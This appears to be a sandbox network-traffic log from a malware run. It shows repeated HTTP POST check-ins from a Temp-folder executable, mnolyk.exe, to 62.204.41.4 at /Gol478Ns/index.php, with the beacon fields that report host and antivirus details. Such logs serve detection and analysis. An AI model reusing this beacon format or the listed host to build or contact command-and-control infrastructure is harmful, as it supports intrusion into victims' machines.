Feb 7, 2023 23:09:12.432080030 CET	597	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:12.495201111 CET	597	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.2.7	50178	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:12.666182041 CET	598	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:12.730153084 CET	598	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	192.168.2.7	50179	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:12.913891077 CET	599	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:12.977729082 CET	599	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	192.168.2.7	50180	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:13.154966116 CET	600	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:13.220128059 CET	600	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.2.7	50181	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:13.403024912 CET	601	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:13.468801975 CET	601	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	192.168.2.7	50182	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:13.649408102 CET	602	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:13.712430954 CET	602	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.2.7	50183	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:13.886210918 CET	603	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:13.950521946 CET	603	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	192.168.2.7	50184	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:14.118143082 CET	604	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:14.182687998 CET	604	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	49743	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:13.457751036 CET	153	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:13.521526098 CET	155	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.2.7	50185	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:14.360321999 CET	605	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:14.423168898 CET	605	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	192.168.2.7	50186	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:14.607278109 CET	606	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:14.671169043 CET	606	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.2.7	50187	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:14.862061024 CET	607	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:14.928833008 CET	607	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	192.168.2.7	50188	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:15.102933884 CET	608	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:15.170551062 CET	608	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.2.7	50189	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:15.358032942 CET	609	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:15.420347929 CET	609	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	192.168.2.7	50190	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:15.591789961 CET	610	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:15.653491974 CET	610	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.2.7	50191	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:15.842998981 CET	611	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:15.951698065 CET	611	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.2.7	50192	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:16.124887943 CET	612	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:16.190716982 CET	612	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	192.168.2.7	50193	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:16.370707989 CET	613	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:16.436515093 CET	613	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	192.168.2.7	50194	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:16.621524096 CET	614	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:16.685125113 CET	614	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49699	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:02.789716005 CET	109	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:02.853396893 CET	109	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	49745	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:13.690917015 CET	165	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:13.755095959 CET	165	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.2.7	50195	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:16.860331059 CET	615	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
